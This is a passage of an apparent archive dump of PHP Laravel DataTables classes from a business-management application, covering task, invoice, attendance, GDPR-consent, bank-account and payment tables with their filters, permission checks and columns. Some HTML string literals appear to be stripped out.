($request->assignedTo == 'unassigned' && $this->viewUnassignedTasksPermission == 'all' && !in_array('client', user_roles())) { $model->whereDoesntHave('users'); } if ($startDate !== null && $endDate !== null) { $model->where(function ($q) use ($startDate, $endDate) { if (request()->date_filter_on == 'due_date') { $q->whereBetween(DB::raw('DATE(tasks.`due_date`)'), [$startDate, $endDate]); } elseif (request()->date_filter_on == 'start_date') { $q->whereBetween(DB::raw('DATE(tasks.`start_date`)'), [$startDate, $endDate]); } elseif (request()->date_filter_on == 'completed_on') { $q->whereBetween(DB::raw('DATE(tasks.`completed_on`)'), [$startDate, $endDate]); } }); } if ($request->overdue == 'yes' && $request->status != 'all') { $model->where(DB::raw('DATE(tasks.`due_date`)'), '<', now(company()->timezone)->toDateString()); } if ($projectId != 0 && $projectId != null && $projectId != 'all') { $model->where('tasks.project_id', '=', $projectId); } if ($request->clientID != '' && $request->clientID != null && $request->clientID != 'all') { $model->where('projects.client_id', '=', $request->clientID); } if ($request->assignedTo != '' && $request->assignedTo != null && $request->assignedTo != 'all' && $request->assignedTo != 'unassigned') { $model->where('task_users.user_id', '=', $request->assignedTo); } if (($request->has('project_admin') && $request->project_admin != 1) || !$request->has('project_admin')) { if ($this->viewTaskPermission == 'owned') { $model->where(function ($q) use ($request) { $q->where('task_users.user_id', '=', user()->id); if (in_array('client', user_roles())) { $q->orWhere('projects.client_id', '=', user()->id); } if ($this->viewUnassignedTasksPermission == 'all' && !in_array('client', user_roles()) && $request->assignedTo == 'all') { $q->orWhereDoesntHave('users'); } }); if ($projectId != 0 && $projectId != null && $projectId != 'all') { $model->where('projects.project_admin', '<>', user()->id); } } if ($this->viewTaskPermission == 'added') { $model->where('tasks.added_by', '=', user()->id); } if ($this->viewTaskPermission == 'both') { $model->where(function ($q) use ($request) { $q->where('task_users.user_id', '=', user()->id); $q->orWhere('tasks.added_by', '=', user()->id); if (in_array('client', user_roles())) { $q->orWhere('projects.client_id', '=', user()->id); } if ($this->viewUnassignedTasksPermission == 'all' && !in_array('client', user_roles()) && ($request->assignedTo == 'unassigned' || $request->assignedTo == 'all')) { $q->orWhereDoesntHave('users'); } }); } } if ($request->assignedBY != '' && $request->assignedBY != null && $request->assignedBY != 'all') { $model->where('creator_user.id', '=', $request->assignedBY); } if ($request->status != '' && $request->status != null && $request->status != 'all') { if ($request->status == 'not finished' || $request->status == 'pending_task') { $model->where('tasks.board_column_id', '<>', $taskBoardColumn->id); } else { $model->where('tasks.board_column_id', '=', $request->status); } } if ($request->label != '' && $request->label != null && $request->label != 'all') { $model->where('task_labels.label_id', '=', $request->label); } if ($request->category_id != '' && $request->category_id != null && $request->category_id != 'all') { $model->where('tasks.task_category_id', '=', $request->category_id); } if ($request->billable != '' && $request->billable != null && $request->billable != 'all') { $model->where('tasks.billable', '=', $request->billable); } if ($request->milestone_id != '' && $request->milestone_id != null && $request->milestone_id != 'all') { $model->where('tasks.milestone_id', $request->milestone_id); } if ($request->searchText != '') { $model->where(function ($query) { $query->where('tasks.heading', 'like', '%' . request('searchText') . '%') ->orWhere('member.name', 'like', '%' . request('searchText') . '%') ->orWhere('tasks.id', 'like', '%' . request('searchText') . '%') ->orWhere('projects.project_name', 'like', '%' . request('searchText') . '%'); }); } if ($request->trashedData == 'true') { $model->whereNotNull('projects.deleted_at'); } else { $model->whereNull('projects.deleted_at'); } if ($request->type == 'public') { $model->where('tasks.is_private', 0); } $model->withTrashed(); return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('allTasks-table') ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["allTasks-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("#allTasks-table .select-picker").selectpicker(); $(".bs-tooltip-top").removeClass("show"); }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false ], __('app.id') => ['data' => 'id', 'name' => 'id', 'title' => __('app.id')], __('app.timer') . ' ' => ['data' => 'timer', 'name' => 'timer', 'exportable' => false, 'searchable' => false, 'sortable' => false, 'title' => '', 'class' => 'text-right'], __('app.task') => ['data' => 'heading', 'name' => 'heading', 'exportable' => false, 'title' => __('app.task')], __('app.menu.tasks') . ' ' => ['data' => 'task', 'name' => 'heading', 'visible' => false, 'title' => __('app.menu.tasks')], __('app.project') => ['data' => 'project_name', 'name' => 'projects.project_name', 'title' => __('app.project')], __('modules.tasks.assigned') => ['data' => 'name', 'name' => 'name', 'visible' => false, 'title' => __('modules.tasks.assigned')], __('app.dueDate') => ['data' => 'due_date', 'name' => 'due_date', 'title' => __('app.dueDate')], __('modules.employees.hoursLogged') => ['data' => 'timeLogged', 'name' => 'timeLogged', 'title' => __('modules.employees.hoursLogged')], __('modules.tasks.assignTo') => ['data' => 'users', 'name' => 'member.name', 'exportable' => false, 'title' => __('modules.tasks.assignTo')], __('app.columnStatus') => ['data' => 'board_column', 'name' => 'board_column', 'exportable' => false, 'searchable' => false, 'title' => __('app.columnStatus')], __('app.task') . ' ' . __('app.status') => ['data' => 'status', 'name' => 'board_column_id', 'visible' => false, 'title' => __('app.task')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; } } DataTables/InvoicesDataTable.php000064400000074776150325104510012623 0ustar00viewInvoicePermission = user()->permission('view_invoices'); $this->deleteInvoicePermission = user()->permission('delete_invoices'); $this->editInvoicePermission = user()->permission('edit_invoices'); $this->addPaymentPermission = user()->permission('add_payments'); $this->viewProjectInvoicePermission = user()->permission('view_project_invoices'); $this->addInvoicesPermission = user()->permission('add_invoices'); $this->ignoreInvoicesWithTrashed = $ignoreInvoicesWithTrashed; } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { $userId = UserService::getUserId(); $firstInvoice = $this->firstInvoice; $datatables = datatables()->eloquent($query); $datatables->addIndexColumn(); $datatables->addColumn('action', function ($row) use ($firstInvoice, $userId) { $action = '
'; return $action; }); $datatables->editColumn('project_name', function ($row) { if ($row->project_id != null) { return '' . $row->project->project_name . ''; } return '--'; }); $datatables->addColumn('short_code', function ($row) { if (!is_null($row->project)) { return $row->project->project_short_code; } return '--'; }); $datatables->addColumn('client_name', function ($row) { if ($row->client) { return $row->client->name; } if ($row->project && $row->project->client) { return $row->project->client->name; } if ($row->estimate && $row->estimate->client) { return $row->estimate->client->name; } return '--'; }); $datatables->addColumn('client_email', function ($row) { if ($row->project && $row->project->client) { return $row->project->client->email; } if ($row->client) { return $row->client->email; } if ($row->estimate && $row->estimate->client) { return $row->estimate->client->email; } return '--'; }); $datatables->editColumn('name', function ($row) { if ($row->client) { $client = $row->client; } else if ($row->project && $row->project->client) { $client = $row->project->client; } else if ($row->estimate && $row->estimate->client) { $client = $row->estimate->client; } else { return '--'; } return view('components.client', [ 'user' => $client ]); }); $datatables->addColumn('invoice', function ($row) { return $row->invoice_number; }); $datatables->editColumn('invoice_number', function ($row) { $recurring = ''; if (!is_null($row->invoice_recurring_id)) { $recurring = ' ' . __('app.recurring') . ' '; } return '
' . $row->invoice_number . '

' . $recurring . '

'; }); $datatables->editColumn('status', function ($row) { $status = ''; if ($row->credit_note) { $status .= ' ' . __('app.credit-note'); } else { if ($row->status == 'unpaid') { $status .= ' ' . __('app.' . $row->status); } elseif ($row->status == 'paid') { $status .= ' ' . __('app.' . $row->status); } elseif ($row->status == 'draft') { $status .= ' ' . __('app.' . $row->status); } elseif ($row->status == 'canceled') { $status .= ' ' . __('app.' . $row->status); } elseif ($row->status == 'pending-confirmation') { $status .= '' . __('app.' . $row->status); $status .= ''; } else { $status .= ' ' . __('modules.invoices.partial'); } } if (!$row->send_status && $row->status != 'draft') { $status .= '

' . __('modules.invoices.notSent') . ''; } return '
' . $status .'
'; }); $datatables->editColumn('total', function ($row) { $currencyId = $row->currency->id; return '
' . __('app.total') . ': ' . currency_format($row->total, $currencyId) . '

' . __('app.paid') . ': ' . currency_format($row->amountPaid(), $currencyId) . '

' . __('app.unpaid') . ': ' . currency_format($row->amountDue(), $currencyId) . '
'; }); $datatables->editColumn('export_total', function ($row) { $currencyId = $row->currency->id; return $row->total ? currency_format($row->total, $currencyId) : '--'; }); $datatables->editColumn('export_paid', function ($row) { $currencyId = $row->currency->id; return $row->amountPaid() ? currency_format($row->amountPaid(), $currencyId) : '--'; }); $datatables->editColumn('export_unpaid', function ($row) { $currencyId = $row->currency->id; return $row->amountDue() ? currency_format($row->amountDue(), $currencyId) : '--'; }); $datatables->editColumn( 'issue_date', function ($row) { return $row->issue_date->timezone($this->company->timezone)->translatedFormat($this->company->date_format); } ); $datatables->orderColumn('short_code', 'invoice_number $1'); $datatables->removeColumn('currency_symbol'); $datatables->removeColumn('currency_code'); $datatables->removeColumn('project_id'); // Custom Fields For export $customFieldColumns = CustomField::customFieldData($datatables, Invoice::CUSTOM_FIELD_MODEL); $datatables->rawColumns(array_merge(['project_name', 'action', 'status', 'invoice_number', 'total', 'name'], $customFieldColumns)); return $datatables; } /** * @return \Illuminate\Database\Eloquent\Builder */ public function query() { $request = $this->request(); $this->firstInvoice = Invoice::orderBy('id', 'desc')->first(); $userId = UserService::getUserId(); $model = Invoice::with( [ 'project' => function ($q) { $q->withTrashed(); $q->select('id', 'project_name', 'project_short_code', 'client_id', 'deleted_at'); }, 'currency:id,currency_symbol,currency_code', 'project.client', 'client', 'payment', 'estimate', 'project.clientdetails', 'client.session:id', 'client.clientdetails', 'payment', 'clientdetails', ] ) ->join('users', 'users.id', '=', 'invoices.client_id') ->join('client_details', 'users.id', '=', 'client_details.user_id') ->select([ 'invoices.id', 'invoices.due_amount', 'invoices.project_id', 'invoices.client_id', 'invoices.invoice_number', 'invoices.currency_id', 'invoices.total', 'invoices.status', 'invoices.issue_date', 'invoices.credit_note', 'invoices.show_shipping_address', 'invoices.send_status', 'invoices.invoice_recurring_id', 'invoices.added_by', 'invoices.hash', 'invoices.custom_invoice_number', 'invoices.file', ]) ->addSelect('invoices.company_id'); // Company_id is fetched so the we have fetch company relation with it) if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); $model = $model->where(DB::raw('DATE(invoices.`issue_date`)'), '>=', $startDate); } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); $model = $model->where(DB::raw('DATE(invoices.`issue_date`)'), '<=', $endDate); } if ($request->status != 'all' && !is_null($request->status)) { if ($request->status == 'pending') { $model = $model->where(function ($q) { $q->where('invoices.status', '=', 'unpaid'); $q->orWhere('invoices.status', '=', 'partial'); }); } else { $model = $model->where('invoices.status', '=', $request->status); } $model = $model->where('invoices.credit_note', 0); } if (request('amount') == 'pending') { $model = $model->where(function ($query) { $query->where('invoices.status', 'unpaid') ->orWhere('invoices.status', 'partial'); }); } if ($request->projectID != 'all' && !is_null($request->projectID)) { $model = $model->where('invoices.project_id', '=', $request->projectID); } if ($request->clientID != 'all' && !is_null($request->clientID)) { $model = $model->where('invoices.client_id', '=', $request->clientID); } if ($request->searchText != '') { $model->where(function ($query) { $query->where('invoices.invoice_number', 'like', '%' . request('searchText') . '%') ->orWhere('invoices.custom_invoice_number', 'like', '%' . request('searchText') . '%') ->orWhere('invoices.id', 'like', '%' . request('searchText') . '%') ->orWhere('invoices.total', 'like', '%' . request('searchText') . '%') ->orWhere('client_details.company_name', 'like', '%' . request('searchText') . '%') ->orWhere('users.salutation', 'like', '%' . request('searchText') . '%') ->orWhere(function ($query) { $query->whereHas('client', function ($q) { $q->where('name', 'like', '%' . request('searchText') . '%'); }); }) ->orWhere(function ($query) { $query->whereHas('project', function ($q) { $q->where('project_name', 'like', '%' . request('searchText') . '%') ->orWhere('project_short_code', 'like', '%' . request('searchText') . '%'); // project short code }); }) ->orWhere(function ($query) { $query->where('invoices.status', 'like', '%' . request('searchText') . '%'); }); }); } if (in_array('client', user_roles())) { $model = $model->where('invoices.send_status', 1); $model = $model->where('invoices.client_id', $userId); } if ($this->viewInvoicePermission == 'added') { $model = $model->where('invoices.added_by', $userId); } if ($this->viewInvoicePermission == 'owned') { $model = $model->where('invoices.client_id', $userId); } if ($this->viewInvoicePermission == 'both') { $model = $model->where('invoices.client_id', $userId)->orWhere('invoices.added_by', $userId); } if (!$this->ignoreInvoicesWithTrashed) { $model = $model->where(function ($q) { $q->whereHas('project', function ($q) { $q->whereNull('deleted_at'); })->orWhereNull('invoices.project_id'); }); } return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('invoices-table', 0) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["invoices-table"].buttons().container() .appendTo( "#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }) }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { $data = [ __('app.id') => ['data' => 'id', 'name' => 'id', 'visible' => false, 'title' => __('app.id')], __('modules.taskCode') => ['data' => 'short_code', 'name' => 'short_code', 'title' => __('modules.taskCode')], __('app.invoice') . '#' => ['data' => 'invoice_number', 'name' => 'invoice_number', 'exportable' => false, 'title' => __('app.invoice')], __('app.invoiceNumber') . '#' => ['data' => 'invoice', 'name' => 'invoice_number', 'visible' => false, 'title' => __('app.invoiceNumber')], __('app.project') => ['data' => 'project_name', 'name' => 'project.project_name', 'title' => __('app.project'), 'visible' => in_array('projects', user_modules()), 'exportable' => in_array('projects', user_modules())], __('app.client') => ['data' => 'name', 'name' => 'project.client.name', 'exportable' => false, 'title' => __('app.client'), 'visible' => (!in_array('client', user_roles()) && in_array('clients', user_modules()))], __('app.customers') => ['data' => 'client_name', 'name' => 'project.client.name', 'visible' => false, 'title' => __('app.customers')], __('app.email') => ['data' => 'client_email', 'name' => 'project.client.email', 'visible' => false, 'title' => __('app.email')], __('modules.invoices.total') => ['data' => 'total', 'name' => 'total', 'class' => 'text-right', 'exportable' => false, 'visible' => true, 'title' => __('modules.invoices.total')], __('modules.invoices.total') . ' ' . __('modules.invoices.amount') => ['data' => 'export_total', 'name' => 'export_total', 'visible' => false, 'exportable' => true, 'title' => __('modules.invoices.total') . ' ' . __('modules.invoices.amount')], __('modules.invoices.paid') => ['data' => 'export_paid', 'name' => 'paid', 'visible' => false, 'title' => __('modules.invoices.paid') . ' ' . __('modules.invoices.amount')], __('modules.invoices.unpaid') => ['data' => 'export_unpaid', 'name' => 'unpaid', 'visible' => false, 'title' => __('modules.invoices.unpaid') . ' ' . __('modules.invoices.amount')], __('modules.invoices.invoiceDate') => ['data' => 'issue_date', 'name' => 'issue_date', 'title' => __('modules.invoices.invoiceDate')], __('app.status') => ['data' => 'status', 'name' => 'status', 'width' => '10%', 'title' => __('app.status')] ]; $action = [ Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; return array_merge($data, CustomFieldGroup::customFieldsDataMerge(new Invoice()), $action); } } DataTables/AttendanceReportDataTable.php000064400000023060150325104510014262 0ustar00attendanceSettings = attendance_setting(); } /** * @param mixed $query * @return \Yajra\DataTables\CollectionDataTable|\Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { $request = $this->request(); $startDate = now($this->company->timezone)->startOfMonth(); $endDate = now($this->company->timezone); $diff = 0; if ($request->startDate != '') { // if this month filter's end date is not equal to now $diff = ($endDate->lt(Carbon::createFromFormat($this->company->date_format, $request->endDate))) ? $endDate->diffInDays(Carbon::createFromFormat($this->company->date_format, $request->endDate)) : 0; $startDate = Carbon::createFromFormat($this->company->date_format, $request->startDate)->startOfDay(); $endDate = Carbon::createFromFormat($this->company->date_format, $request->endDate)->endOfDay(); } $period = CarbonPeriod::create($startDate, $endDate); $this->totalWorkingDays = ($diff < 1) ? $startDate->diffInDays($endDate) + 1 : $startDate->diffInDays($endDate) - $diff; // if this month filter's end date is not equal to now if ($endDate->gt(now($this->company->timezone))) { $holidayDate = Holiday::whereBetween(DB::raw('DATE(holidays.`date`)'), [$startDate->toDateString(), now($this->company->timezone)])->get('date'); } else { $holidayDate = Holiday::whereBetween(DB::raw('DATE(holidays.`date`)'), [$startDate->toDateString(), $endDate->toDateString()])->get('date'); } $this->holidaysCount = $holidayDate->count(); $holidays = []; foreach ($holidayDate as $item) { array_push($holidays, $item->date); } $this->daysPresent = 0; $this->extraDays = 0; return datatables() ->eloquent($query) ->addIndexColumn() ->addColumn('employee_name', fn($row) => $row->name) ->addColumn('name', fn($row) => view('components.employee', ['user' => $row])) ->addColumn('present_days', fn($row) => $this->daysPresent = Attendance::countDaysPresentByUser($startDate, $endDate, $row->id) ?: '0') ->addColumn('extra_days', fn($row) => $this->extraDays($startDate, $endDate, $row->id, $holidays)) ->addColumn('absent_days', function ($row) { $this->holidaysCount = $this->holidaysCount - $this->extraDays; if ($this->holidaysCount > 0) { return (($this->totalWorkingDays - ($this->daysPresent + $this->extraDays + $this->holidaysCount)) <= 0) ? '0' : ($this->totalWorkingDays - ($this->daysPresent + $this->extraDays + $this->holidaysCount)); } return (($this->totalWorkingDays - ($this->daysPresent + $this->extraDays)) <= 0) ? '0' : ($this->totalWorkingDays - ($this->daysPresent + $this->extraDays)); }) ->addColumn('hours_clocked', fn($row) => $this->calculateHours($period, $row)) ->addColumn('late_day_count', fn($row) => Attendance::countDaysLateByUser($startDate, $endDate, $row->id) ?: '0') ->addColumn('half_day_count', fn($row) => Attendance::countHalfDaysByUser($startDate, $endDate, $row->id) ?: '0') ->orderColumn('present_days', 'user_id $1') ->orderColumn('absent_days', 'user_id $1') ->orderColumn('extra_days', 'user_id $1') ->orderColumn('hours_clocked', 'user_id $1') ->orderColumn('late_day_count', 'user_id $1') ->orderColumn('half_day_count', 'user_id $1'); } /** * @return \Illuminate\Support\Collection */ public function query() { $request = $this->request(); $model = User::with('role', 'roles', 'employeeDetail', 'session') ->join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->where('roles.name', 'employee') ->select('users.*'); if ($request->employee != 'all') { $model = $model->where('users.id', $request->employee); } return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('attendance-report-table') ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["attendance-report-table"].buttons().container() .appendTo( "#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }) }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.employee') => ['data' => 'name', 'name' => 'users.name', 'exportable' => false, 'title' => __('app.employee')], __('app.name') => ['data' => 'employee_name', 'name' => 'users.name', 'visible' => false, 'title' => __('app.name')], __('modules.attendance.present') => ['data' => 'present_days', 'name' => 'present_days', 'title' => __('modules.attendance.present')], __('modules.attendance.absent') => ['data' => 'absent_days', 'name' => 'absent_days', 'title' => __('modules.attendance.absent')], __('modules.attendance.extraDays') => ['data' => 'extra_days', 'name' => 'extra_days', 'title' => __('modules.attendance.extraDays')], __('modules.attendance.hoursClocked') => ['data' => 'hours_clocked', 'name' => 'hours_clocked', 'title' => __('modules.attendance.hoursClocked')], __('app.days') . ' ' . __('modules.attendance.late') => ['data' => 'late_day_count', 'name' => 'late_day_count', 'title' => __('app.days') . ' ' . __('modules.attendance.late')], __('modules.attendance.halfDay') => ['data' => 'half_day_count', 'name' => 'half_day_count', 'title' => __('modules.attendance.halfDay')], ]; } public function calculateHours($period, $user) { $timeLogInMinutes = 0; foreach ($period as $date) { $attendanceDate = $date->toDateString(); $clockins = Attendance::select('clock_in_time', 'clock_out_time') ->where(DB::raw('DATE(attendances.clock_in_time)'), $attendanceDate) ->where('user_id', $user->id) ->orderBy('id') ->get(); foreach ($clockins as $value) { $this->startTime = $value->clock_in_time->timezone($this->company->timezone); if (!is_null($value->clock_out_time)) { $this->endTime = $value->clock_out_time->timezone($this->company->timezone); } elseif (($value->clock_in_time->timezone($this->company->timezone)->translatedFormat('Y-m-d') != now()->timezone($this->company->timezone)->translatedFormat('Y-m-d')) && is_null($value->clock_out_time)) { $this->endTime = Carbon::parse($this->startTime->translatedFormat('Y-m-d') . ' ' . $this->attendanceSettings->office_end_time, $this->company->timezone); if ($this->endTime->gt(now()->timezone($this->company->timezone))) { $this->endTime = now()->timezone($this->company->timezone); } $this->notClockedOut = true; } else { $this->notClockedOut = true; $this->endTime = now()->timezone($this->company->timezone); } $timeLogInMinutes = $timeLogInMinutes + $this->endTime->diffInMinutes($this->startTime, true); } } info($timeLogInMinutes . ' : ' . $user->id); if ($timeLogInMinutes <= 59) { return sprintf('%d' . __('app.hrs') . ' %d' . __('app.mins'), 0, $timeLogInMinutes); } return sprintf('%d' . __('app.hrs') . ' %d' . __('app.mins'), floor($timeLogInMinutes / 60), floor($timeLogInMinutes % 60)); } public function extraDays($startDate, $endDate, $userId, $holidays) { $extraDays = Attendance::whereBetween(DB::raw('DATE(attendances.`clock_in_time`)'), [$startDate->toDateString(), $endDate->toDateString()]) ->where('user_id', $userId) ->whereIn(DB::raw('DATE(`clock_in_time`)'), $holidays) ->select(DB::raw('count(DISTINCT DATE(attendances.clock_in_time) ) as attendance')) ->first(); return $extraDays->attendance; } } DataTables/ClientGDPRDataTable.php000064400000007363150325104510012723 0ustar00eloquent($query) ->addIndexColumn() ->editColumn('status', function ($row) { return match ($row->status) { 'agree' => __('modules.gdpr.optIn'), 'disagree' => __('modules.gdpr.optOut'), default => '' }; }) ->editColumn('created_at', fn($row) => Carbon::parse($row->created_at)->translatedFormat($this->company->date_format)) ->editColumn('action', fn($row) => $row->status) ->rawColumns(['status']); } /** * @param PurposeConsentUser $model * @return \Illuminate\Database\Query\Builder */ public function query(PurposeConsentUser $model) { $request = $this->request(); return $model->select('purpose_consent.name', 'purpose_consent_users.created_at', 'purpose_consent_users.status', 'purpose_consent_users.ip', 'users.name as username', 'purpose_consent_users.additional_description') ->join('purpose_consent', 'purpose_consent.id', '=', 'purpose_consent_users.purpose_consent_id') ->leftJoin('users', 'purpose_consent_users.updated_by_id', '=', 'users.id') ->where('purpose_consent_users.client_id', $request->clientID); } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('client-gdpr-table') ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["client-gdpr-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }); $(".statusChange").selectpicker(); }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('modules.gdpr.purpose') => ['data' => 'name', 'name' => 'purpose_consent.name', 'title' => __('modules.gdpr.purpose')], __('app.date') => ['data' => 'created_at', 'name' => 'purpose_consent.created_at', 'title' => __('app.date')], __('modules.gdpr.ipAddress') => ['data' => 'ip', 'name' => 'purpose_consent.ip', 'title' => __('modules.gdpr.ipAddress')], __('modules.gdpr.additionalDescription') => ['data' => 'additional_description', 'name' => 'purpose_consent_users.additional_description', 'title' => __('modules.gdpr.additionalDescription')], Column::computed('action', __('app.action')) ->exportable(true) ->printable(false) ->orderable(false) ->searchable(false) ->width(150) ->addClass('text-right pr-20') ]; } } DataTables/BankAccountDataTable.php000064400000027001150325104510013207 0ustar00editBankAccountPermission = user()->permission('edit_bankaccount'); $this->deleteBankAccountPermission = user()->permission('delete_bankaccount'); $this->viewBankAccountPermission = user()->permission('view_bankaccount'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { return datatables() ->eloquent($query) ->addColumn('check', fn($row) => $this->checkBox($row)) ->addColumn('action', function ($row) { $action = '
'; $action .= '
'; return $action; }) ->editColumn('bank_name', function ($row) { return $row->type == 'bank' ? $row->bank_name : '--'; }) ->editColumn('bank_name_logo', function ($row) { $bankLogo = ''; if ($row->bank_logo) { $bankLogo = ''; } else { $bankLogo = $row->file_url; } return '' . $bankLogo . ' ' . $row->bank_name . ''; }) ->editColumn('account_name', function ($row) { return '' . $row->account_name . ''; }) ->editColumn('account_type', function ($row) { return $row->type == 'bank' ? __('modules.bankaccount.'.$row->account_type) : '--'; }) ->editColumn('type', function ($row) { return $row->type ? __('modules.bankaccount.'.$row->type) : '--'; }) ->addColumn('currency', function ($row) { return $row->currency->currency_code . ' (' . $row->currency->currency_symbol . ')'; }) ->editColumn('status', function ($row) { if ($this->editBankAccountPermission == 'all' || ($this->editBankAccountPermission == 'added' && user()->id == $row->added_by)) { $status = ''; return $status; } else { if ($row->status == '1') { return '' . __('app.active'); } else { return '' . __('app.inactive'); } } }) ->addColumn('account_status', function ($row) { return $row->status == '1' ? __('app.active') : __('app.inactive'); }) ->editColumn('bank_balance', function ($row) { return currency_format($row->bank_balance, $row->currencyId); }) ->addColumn('bank_balance_export', function ($row) { return $row->bank_balance; }) ->editColumn('id', function ($row) { return $row->id; }) ->addIndexColumn() ->smart(false) ->setRowId(fn($row) => 'row-' . $row->id) ->rawColumns(['action', 'account_name', 'status', 'check', 'bank_name_logo']); } /** * @param BankAccount $model * @return BankAccount|\Illuminate\Database\Eloquent\Builder */ public function query(BankAccount $model) { $request = $this->request(); $model = BankAccount::with('currency')->select('bank_accounts.*', 'currencies.currency_symbol', 'currencies.id as currencyId') ->join('currencies', 'currencies.id', 'bank_accounts.currency_id'); if (!is_null($request->searchText)) { $model = $model->where(function ($query) { $query->where('bank_accounts.account_name', 'like', '%' . request('searchText') . '%') ->orWhere('bank_accounts.account_type', 'like', '%' . request('searchText') . '%') ->orWhere('bank_accounts.contact_number', 'like', '%' . request('searchText') . '%') ->orWhere('bank_accounts.bank_name', 'like', '%' . request('searchText') . '%'); }); } if ($request->type != 'all' && !is_null($request->type)) { $model = $model->where('bank_accounts.type', '=', $request->type); } if ($request->status != 'all' && !is_null($request->status)) { $model = $model->where('bank_accounts.status', '=', $request->status); } if ($request->accountId != 'all' && !is_null($request->accountId)) { $model = $model->where('bank_accounts.id', '=', $request->accountId); } if ($request->accountType != 'all' && !is_null($request->accountType)) { $model = $model->where('bank_accounts.account_type', '=', $request->accountType); } if ($request->bankName != 'all' && !is_null($request->bankName)) { $model = $model->where('bank_accounts.bank_name', '=', $request->bankName); } if ($this->viewBankAccountPermission == 'added') { $model->where('bank_accounts.added_by', user()->id); } return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('bank-account-table', 2) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["bank-account-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $(".change-account-status").selectpicker(); }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { $data = [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false ], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.id') => ['data' => 'id', 'name' => 'id', 'visible' => false, 'exportable' => false, 'title' => __('app.id')], __('modules.bankaccount.bankName') => ['data' => 'bank_name', 'name' => 'bank_name', 'title' => __('modules.bankaccount.bankName'), 'visible' => false], __('app.menu.bankaccount') => ['data' => 'bank_name_logo', 'name' => 'bank_name', 'title' => __('app.menu.bankaccount'), 'exportable' => false], __('modules.bankaccount.accountName') => ['data' => 'account_name', 'name' => 'account_name', 'title' => __('modules.bankaccount.accountName')], __('modules.bankaccount.accountType') => ['data' => 'account_type', 'name' => 'account_type', 'title' => __('modules.bankaccount.accountType')], __('modules.bankaccount.type') => ['data' => 'type', 'name' => 'type', 'title' => __('modules.bankaccount.type')], __('app.currency') => ['data' => 'currency', 'name' => 'currency', 'title' => __('app.currency')], __('modules.bankaccount.bankBalance') => ['data' => 'bank_balance', 'name' => 'bank_balance', 'title' => __('modules.bankaccount.bankBalance'), 'exportable' => false], __('modules.bankaccount.bankBalance') . 'export' => ['data' => 'bank_balance_export', 'name' => 'bank_balance', 'title' => __('modules.bankaccount.bankBalance'), 'visible' => false], __('app.status') => ['data' => 'status', 'name' => 'status', 'title' => __('app.status'), 'exportable' => false], __('modules.bankaccount.accountStatus') => ['data' => 'account_status', 'name' => 'status', 'title' => __('modules.bankaccount.accountStatus'), 'visible' => false], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; return $data; } } DataTables/PaymentsDataTable.php000064400000035576150325104510012637 0ustar00deletePaymentPermission = user()->permission('delete_payments'); $this->viewPaymentPermission = user()->permission('view_payments'); $this->trashedData = $trashedData; } /** * Build DataTable class. * * @param mixed $query Results 